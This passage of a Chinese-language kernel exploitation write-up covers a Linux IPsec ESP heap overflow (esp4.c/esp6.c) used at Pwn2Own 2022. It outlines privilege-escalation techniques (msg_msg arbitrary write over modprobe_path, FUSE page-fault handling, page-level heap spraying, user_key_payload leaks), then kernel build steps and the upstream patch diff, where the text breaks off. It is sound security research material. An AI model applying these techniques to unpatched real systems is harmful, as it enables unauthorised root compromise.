</p>


<p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">知识点</strong>：</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（1）使用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code> 构造任意写来篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprobe_path</code>，<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">通过 FUSE 来处理页错误</strong>（克服5.11版本之后用户没有userfaultfd权限的问题，肯定有一大波CTF题将要效仿）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（2）由于漏洞对象位于 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">8-page</code>，已经不能用常规的堆喷（slub allocator）来利用了，得利用<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">页喷射</strong>（buddy system），作者分析了伙伴系统的源码，可以学习页喷知识（主要采用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code> 进行页喷和页风水，值得学习）。某种程度上来说本漏洞是一种 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">cross-cache overflow</code>，从一个页溢出覆盖到下一个页上的cache（因为页上可以含有cache也可以是单纯的页）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（3）采用新的弹性对象来泄露信息，也即<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;"><code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code>弹性对象</strong>，由于长度变量和数据在一起，所以不担心溢出时覆盖到指针（限制是只能分配最多200个最长20000字节）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">影响版本</strong>：Linux-v5.17-rc8 以前，v5.17-rc8已修补。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">测试版本</strong>：Linux-v5.16.14 exploit及测试环境下载地址—<a href="https://github.com/bsauce/kernel-exploit-factory" target="_blank">https://github.com/bsauce/kernel-exploit-factory</a></p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">编译选项</strong>：所有和 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">INET6</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">TUNNEL</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">XFRM</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">CONFIG_NET_KEY</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">CONFIG_NF_SOCKET_IPV6</code> 相关的选项都勾上y，特别是以下选项。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;">CONFIG_XFRM_ESP=y<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>CONFIG_INET_ESP=y<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>CONFIG_INET_ESP_OFFLOAD=y<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>CONFIG_INET6_ESP=y<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>CONFIG_INET6_ESP_OFFLOAD=y<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">在编译时将<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">.config</code>中的<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">CONFIG_E1000</code>和<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">CONFIG_E1000E</code>，变更为=y。参考</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">$</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> wget <a href="https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.14.tar.xz" target="_blank">https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.14.tar.xz</a></span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">$</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> tar -xvf linux-5.16.14.tar.xz</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> KASAN: 设置 make menuconfig 设置<span style="font-size: inherit;color: rgb(238, 220, 112);line-height: inherit;margin: 0px;padding: 0px;">&#34;Kernel hacking&#34;</span> -&gt;<span style="font-size: inherit;color: rgb(238, 220, 112);line-height: inherit;margin: 0px;padding: 0px;">&#34;Memory Debugging&#34;</span> -&gt; <span style="font-size: inherit;color: rgb(238, 220, 112);line-height: inherit;margin: 0px;padding: 0px;">&#34;KASan: runtime memory debugger&#34;</span>。</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">$</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> make -j32</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">$</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> make all</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">$</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> make modules</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> 编译出的bzImage目录：/arch/x86/boot/bzImage。</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">漏洞描述</strong>：位于目录 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">net/ipv4/esp4.c</code> 和 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">net/ipv6/esp6.c</code> 中的 IPsec ESP transformation 代码存在堆溢出。漏洞自2017年引入（cac2661c53f3 / 03e2a30f6a27）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">本漏洞能够在最新的 Ubuntu 21.10 上提权，来自于pwn2own 2022，能够影响 Ubuntu / Fedora / Debian。首次进行 page-level heap fengshui 和 cross-cache overflow（环境：4G内存，2 CPU）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">补丁</strong>：patch 补丁引入 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ESP_SKB_FRAG_MAXSIZE</code>，大小为 32768 ，也就是 8-page，如果 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">allocsize</code> 大于8页，则跳转到 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">COW</code>。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;">diff --git a/include/net/esp.h b/include/net/esp.h<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>index <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">9</span>c5637d41d951.<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">.90</span>cd02ff77ef6 <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">100644</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>--- a/include/net/esp.h<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+++ b/include/net/esp.h<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>@@ <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">-4</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">6</span> +<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">4</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">8</span> @@<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/> <span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">#<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">include</span> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">&lt;linux/skbuff.h&gt;</span></span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+<span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">#<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">define</span> ESP_SKB_FRAG_MAXSIZE (PAGE_SIZE &lt;&lt; SKB_FRAG_PAGE_ORDER)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">ip_esp_hdr</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">inline</span> struct ip_esp_hdr *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">ip_esp_hdr</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">const</span> struct sk_buff *skb)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>index e1b1d080e908d..70e6c87fbe3df 100644<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>--- a/net/ipv4/esp4.c<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+++ b/net/ipv4/esp4.c<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>@@ -446,6 +446,7 @@ <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp_output_head</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     struct page *page;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     struct sk_buff *trailer;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> tailen = esp-&gt;tailen;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> allocsz;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">/* this is non-NULL only with TCP/UDP Encapsulation */</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (x-&gt;encap)</span> </span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>@@ <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">-455</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">6</span> +<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">456</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">10</span> @@ <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp_output_head</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>             <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+    allocsz = ALIGN(skb-&gt;data_len + tailen, L1_CACHE_BYTES)</span></span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (allocsz &gt; ESP_SKB_FRAG_MAXSIZE)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">goto</span> cow;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (!skb_cloned(skb)) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>         <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (tailen &lt;= skb_tailroom(skb)) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>             nfrags = <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">1</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>diff --git a/net/ipv6/esp6.c b/net/ipv6/esp6.c<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>index <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">7591160</span>edce14..b0ffbcd5432d6 <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">100644</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>--- a/net/ipv6/esp6.c<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+++ b/net/ipv6/esp6.c<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>@@ <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">-482</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">6</span> +<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">482</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">7</span> @@ <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp6_output_head</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb, struct esp_info<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     struct page *page;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     struct sk_buff *trailer;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> tailen = esp-&gt;tailen;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> allocsz;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 